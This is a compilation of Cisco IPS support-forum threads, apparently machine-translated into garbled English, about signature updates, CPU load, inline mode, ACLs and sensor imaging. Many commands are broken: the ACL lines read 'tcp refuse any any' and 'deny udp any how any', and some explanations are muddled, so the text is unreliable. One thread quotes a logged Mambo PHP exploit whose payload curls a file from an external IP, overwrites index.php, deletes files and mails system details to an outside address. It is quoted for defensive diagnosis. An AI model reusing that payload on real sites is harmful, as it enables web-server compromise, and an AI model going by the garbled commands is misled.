• Upgrade version of CISCO IPS signature

  Hi guys:

  Anyone know the process for updating the signature on a CISCO IPS version, I want to do it manually. If somedoy can tell me the orders and all I have to do this.

  Concerning

  Luis;

  Updats manual signature for Cisco IPS sensors can be performed from the CLI as shown here:

  http://www.Cisco.com/en/us/docs/security/IPS/7.0/Configuration/Guide/CLI/cli_system_images.html#wp1142504

  Or from the interface of the IDM as shown here:

  http://www.Cisco.com/en/us/docs/security/IPS/7.0/Configuration/Guide/IDM/idm_sensor_management.html#wp2126670

  This process is also used to upgrade software base of the probe.

  any ideas?

  V5 is a lot more about correct configurations that v4 was, which is why some things than v4 that slide will produce an error during upgrade to v5. Obviously there is something in your time zone settings that he allowed to v4, but like v5.

  A conf "sho" on your sensor v4 and near the top of the page (just after the IP addresses), check all do in the section "timeParams". My guess is you have some parts here, but at the very least, you have not defined a DST zone name. You can set everthing correctly under here by running "setup" in the CLI, and when it asks you if you want to "Change the system clock settings" answer Yes and work your way through the guests. Then try the upgrade again and let us know how you go.

  If the error persists, please cut and paste your timeParams section and we'll see what happens.

• IPS CPU utilization question

  Hello

  One of the ips ssm-10 active, showing the CPU sometimes 100% and sometimes 0% usage

  is this normal or something else?

  Well Hi,

  As I said in the previous to your post, this cpu bar is not the correct indication of load inspection ips:

  "CPU utilization statistics are not a good indication of the processing of sensor load. "The percentage of charge of inspection in the output of its use during the last 5 s 100 "

• When the inline IPS powercycled...

  reset using the CLI (or gui) command, the network traffic will continue to pass through if the IPS is configured for online mode?

  I know that I could find out in a few minutes, but I would rather not mess with our direct network ;)

  If you issue the command to reset the CLI or gui the sensor stops passing traffic.

  If you must restart the CIDS demon you can restart it with a 'service' account, su to root and issue /etc/init.d/cids reboot. This will restart the process of sensor but always pass traffic.

  Hope this hepls

• Trouble passing traffic HTTP w / IPS enabled on the Multilink Interface

  Scenario:

  I have a 2811 using 2 bonded T1s to the Internet (using MLPPP). Before I glued the T1s and used the interface serial0 to access the net, I used the following instructions on my public interface without any problems;

  IP - ips myips in

  IP - inspect myfw in

  After that I stuck the T1s and removed the above statements interface series and placed on them my multilink interface panel, everything has stopped working (i.e. my home DNS, Web sites), but a remote user could ping the internal Web sites. When I removed the statements above of traffic Panel multilink interface flowed very well, but I had no security. I have included my config. Someone at - it guidance? I also tried to use 'ip check out myfw' on fa0/0 to see if it would work better and I got the same results, no access to my web servers from the outside world. Once I removed the statement, however, everything was perfect.

  Hello

  I suggest a slight modification using ACLs that you have configured upward at the present time.

  remove orders group-access 101 the multilink first and then remove the 101 ACL with no access list 101.

  Once you are done with this pls paste the below mentioned lines of configuration on your router...

  access list 101 tcp refuse any any eq 4444

  access list 101 deny udp any how any eq 4444

  access-list 101 deny udp any any eq tftp

  access list 101 deny udp any how any eq 593

  access list 101 tcp refuse any any eq 1025

  access list 101 tcp refuse any any eq 1029

  access list 101 tcp refuse any any eq 7789

  access list 101 deny udp any how any eq 1025

  access list 101 deny udp any how any eq 1029

  access list 101 deny udp any how any eq 7789

  access list 101 tcp refuse any any eq 135

  access list 101 tcp refuse any any eq 136

  access list 101 tcp refuse any any eq 137

  access list 101 tcp refuse any any eq 139

  access list 101 deny udp any how any eq 135

  access list 101 deny udp any what all 136 eq

  access-list 101 deny udp any any eq netbios-ns

  access-list 101 deny udp any any eq netbios-ss

  access list 101 ip allow a whole

  At the present time, you permit a whole in the middle and start to deny everything again.

  This should not be the case that the ACLs are get processed.

• PHP exploit triggers Cisco Security Agent but NOT at Cisco IPS... why?

  Does anyone know what signing this feat should trigger with the Cisco IPS sensor? You are not sure if there is one, or if we turned it off?

  We see this feat hit our Exchange servers several times during the week.

  The process of "C:\WINNT\System32\inetsrv\inetinfo.exe" (as user NT AUTHORITY\SYSTEM) received the data ' / index2.php? option = com_content & do_pdf = 1 & id = 1index2.php? _REQUEST [option] = com_content & _REQUEST [Itemid] = 1 & GLOBALS = & mosConfig_absolute_path =http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http: / / 220.194.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_66. 224.194.188%[email protected] / * /; uname%20-a%20|%20Mail%20-s%20uname_i2_66.224.194.188%[email protected] / * /. com; echo |'.

  I think that this could be the exploit of mambo. See http://www.securityfocus.com/archive/1/archive/1/427196/100/0/threaded for the info. I searched on mambo MySDN and found GIS 5163 "Mambo Site Server Administration Password ByPass" here is a snippet of the description: "administrative access is acquired by sending a specific url using the index2.php script and the PHPSESSID variable." This looks like what you pasted. Note "index2.php". Your IPS can not seen this so it was more than 443.

  Hope this helps

• High utiization cpu IPS module

  I have two firewalls Cisco ASA5540X with IPS modules configured in a failover pair.

  Behind this pair Firewall (inside) is about 140 guests who use various web applications, minimal Internet, e-mail (host maybe 10) and a few small sharing/file access

  My IPS is configured for online analysis, but I noticed that the processor works 100% all the time (6 cores). Given that I don't want any circumvention traffic IPS, my firewall configuration looks like this

  ips_traffic of access allowed any ip an extended list

  ips_traffic list extended access udp allowed a whole

  class-map ips_class

  corresponds to the ips_traffic access list

  Policy-map global_policy

  class ips_class

  IPS inline help

  Why is such high usage on the IPS? What can I do here?

  Hello

  Although not an expert in this particular field, I installed a handful of them and each of them took one load CPU 100%, I was told by our support load of the CPU on an IPS is very inaccurate way to determine the load, it is preferable to use the inspection processing load.

  After more digging, I found this - the issue is addressed in this bug - CSCtl74475

• backup IPS to TFTP software

  on my module AIP-SSM-10 ASA5520 how I backup software (v5.0) IPS to my TFTP server?

  cause I need to reimage a testASA with this software IPS.

  When the software is installed on the MHS it is unpacked and expanded on the sensor compact flash. It does not exist on the MSS in a single file. So you can't copy the software out of the SSM.

  To remedy this, you must download the software from Cisco's Web site.

  This is the homepage for IPS software:

  http://www.Cisco.com/Kobayashi/SW-Center/ciscosecure/IDs/crypto/

  Trying to recreate the image a SSM and do not care of what was previously available, then you will want to use an Image of 'system '.

  On the main page of the IPS software look for Version 5.x section, then find the system section and recovery of Images and then click on the link to the AIP - SSM. It will take you to this page:

  http://www.Cisco.com/Kobayashi/SW-Center/ciscosecure/IDs/crypto/

  If you really want to version 5.0, then you can download and use this file:

  IPS-SSM-K9-sys-1.1-a-5.0-2.img

  BUT understand that it is a very old version and new signatures can not be loaded on this old version.

  I recommend you rather load the latest version 5.1:

  IPS-SSM-K9-sys-1.1-a-5.1-5-E1.img

  Here are the instructions to install the System Image file:

  http://www.Cisco.com/univercd/CC/TD/doc/product/iaabu/csids/csids12/cliguide/cliimage.htm#wp1032373

  BUT be aware that a System Image installation will eliminate all your configurations on the MSS as well.

  If you are wanting to 'UPGRADE' rather than make a new full image, then do not use the system installation process Image and instead use uprgade files and install with the upgrade process:

  To get the 5.1 get last version the last 5,0000 E1 put here:

  http://www.Cisco.com/cgi-bin/tablebuild.pl/ips5

  IPS - K9 - 5.1 - 5 - E1.pkg

  Using these instructions to upgrade:

  http://www.Cisco.com/univercd/CC/TD/doc/product/iaabu/csids/csids12/cliguide/cliimage.htm#wp1064238

  You can then get a license (you'll need a service contract)

  And install the last update of Signature from here:

  http://www.Cisco.com/cgi-bin/tablebuild.pl/ips6-sigup

• Cisco IPS 4200 Signature Update

  We are currently under evaluation and implementation of the Cisco IPS solution to our security needs.

  Our supplier has said that the signature 'online' updates to Cisco IPS is not possible - this is a manual process and we need to charge the device if you want to update the files.

  Somehow, it defies logic. Surely, I think, that any IP address should have the possibility of obtaining signatures updated "online".

  I apologize, because that question is too basic in nature. But could someone shed more light on this?

  Thank you.

  You have auto update functionality of Cisco IPS version 6.0, take a look at the attached picture.

  Update of signatures is * recommended * that you reload the signatures (restart the sensor), although this is not mandatory.

  Our IPS has not been restarted for over two months now and everything is working ok.

• IPS sensor - Event Notification by e-mail?

  Good day to all.

  I was asked to recreate some features after he lost the customer improved VMS to the CSM but without CS-MARCH or any other event monitor. The user has had the system to generate an email when an event was triggered. He was apparently noisy initially but after setting wasn't a bad solution. No one knows how he was initially put in place but I can only assume it is the method that is described in the Cisco document to: http://www.cisco.com/en/US/customer/products/hw/vpndevc/ps4077/products_configuration_example09186a00801fc770.shtml#fivesensor

  Now, however, since the CSM has not received the event data is it possible to recreate this process of "notification"?

  Are using CSM 3.02 and the sensors are still at 5.14. The sensors will be updated to 5.17 later today. I will then either be upgrading the client to the latest revisions and service to CSM or rolling packs to the VMS depending on whether I can get notifications to work with MSC.

  NOTE: They order a CS-MARS appliance with the conviction that it will solve the problem, but as the last word, it will be several months at least before they could get it. I'm afraid that CS-MARS will NOT give back them this feature. Can you confirm/deny?

  Finally - CSM does not include a security monitor, as did virtual machines, and CS-MARS not really recreate that kind of view or the management of the events - what solutions are there to reproduce the functionality of the Security Monitor? Are there? Is-CS-MARS the new bully on the block?

  Since the client is to stay at a 5.1 version, then you have 3 options:

  1) down to virtual machines and continue to use the Security Monitor

  2) stay with the CSM and buy CS-MARCH for the monitoring of events. CS-MARS should provide the ability to e-mail notification.

  3) stay with the CSM and installing and using VEI 5.2 (1).

  VEI 5.2 (1) can be installed either on a separate machine from the CSM as a stand-alone utility:

  http://www.Cisco.com/cgi-bin/tablebuild.pl/IPS-EV

  VEI 5.2 (1) contains the new alerts e-mail notification feature.

  GOLD VEI 5.2 (1) can be installed as part of the installation of CSM (I know it's in the CSM 3.1, but don't know about previous versions of CSM).

  Here are a few documents on the execution of the IEV 5.2 (1) in the CSM framework:

  http://www.Cisco.com/en/us/partner/docs/security/security_management/cisco_security_manager/security_manager/3.1/user/guide/monidiag.html#wp1203768

  NOTE: VEI 5.2 (1) is targeted for use in networks with sensors of 5 or less. When running with 5 sensors or more, then CS-MARS would be the veiwer advised.

  When the user later upgraded to version 6.x, then option 1 (downgrading to virtual machines) is no longer an option and option 2 or 3 would be required.

• Virtual sensors IPS

  Hello

  1. can I use the sensor default virtual vs0 for incoming traffic on all interfaces.

  2. How can I assign interfaces to the AIP - SSM module.

  3. How can I assign interafces to the JOINT module.

  I'm assuming that the assigned interfaces are those on which inline inspection is carried out.

  The AIP - SSM is not "both" of these modes. This applies only to sensors/JOINT AFAIK.

  The AIP is inwardly 'connected' to the ASA and has only two modes of deployment instead of three, here is a brief description of EAC:

  #Is the AIP - SSM module to operate or be deployed in inline mode or promiscuous?

  * "Promiscuous" mode means that data is copied to the AIP - SSM while ASA passes the original data to the destination. The AIP - SSM in promiscuous mode can be considered an intrusion (IDS) detection system. In this mode, the trigger package (the package that causes the alarm) can still reach the destination. Fleeing can take place and stop the extra packages to reach the destination, but the triggering packet is not stopped.

  * Mode Inline means that the ASA transmits data to the AIP - SSM for inspection. If the data meets the AIP - SSM inspection requirements, data refers to the ASA in order to continue to be processed and sent to the destination. The AIP - SSM mode inline can be considered as a system of prevention of intrusion (IPS). Unlike promiscuous mode, mode inline (IPS) can actually stop the trigger packet to reach the destination.

• CSM up-to-date IPS AIP - SSM

  Hi all

  I need help. I'm setting up my 3.1 CSM to apply the update on my IPS AIP - SSM.

  I went to the FPS tab apply and choose Update cisco.com. But it's still as treatment for a long time.

  I tried to enter my username and password for the sensors or account of the BCC but still no improvement. Anyone know how to configure it. I tried to read the user guide there is no examples.

  Thank you

  The two IPS - K9 - 5.1 - 8.pkg abd IPS-SSM_10-K9-sys-1.1-a-5.1-8-E3.img will recreate the image on the partition recovery and the application partition.

  The System Image will erase everything before starting the imaging process.

  The Service Pack Upgrade file will first of all take the current configuration and convert it to work with the new version and save off the coast. Also several other special folders on the sensor (for example, the license file) will be saved off the coast. The imaging process will run and then the saved to the large files will be automatically applied to the probe.

• Automatic update IPS

  I set up automatic update of the IPS-SSM-20 on Cisco.com and I have a question about the functioning of updates. Updates are related to the engine and the Signature only, is that correct?

  In the case where a new signature is posted on Cisco.com is the automatic update did the update of signature only?

  What engine SW in this case is simply ignored.

  OK, only the updates of the Signature and engine updates will be automatically downloaded from cisco.com.

  This is because the two types of updates can be applied to sensors without a reboot running.

  If an Inline sensor is configured for automatic ByPass, then the traffic will continue to flow through the sensor without supervision while the update takes place.

  Updates major, minor updates, Service Packs, and hotfixes are NOT automatically kept up-to-date of cisco.com.

  These updates require a restart for installation and will cause traffic to stop for a short period when applied. They should be applied for regular network time.

  (NOTE: you can configure your own server ftp/scp.) Manually download these updates and place on your server. Next, configure your sensors to check your own ftp/scp server for these types of updates. The automatic updates cisco.com and automatic updates of your own server can be configured on the same sensor.)

  Engine updates are released only a few times a year, while the signature updates are published several times a month (even several times a week, or even several per day during).

  The sensor connects to cisco.com and queries the server for the names of the latest engine and Signature updates.

  Then, it checks to see if these updates are newer than what is currently on the sensor.

  Is there is a new update of motor (higher level of E), and then it downloads and installs the new version of engine.

  If the update of motor on cisco.com is at the same level of E which is already on the sensor, then it checks the level of the last update of the Signature S.

  If the level of the most recent update of Signature S is higher than what is on the sensor, and then downloads and installs the new Signature Update.

  If level E and S of the sensor are the same that the most recent engine update and update of the Signature, the sensor is up to date. None of the files are downloaded, and the sensor waits just until next time of automatic update regular repeat the process.
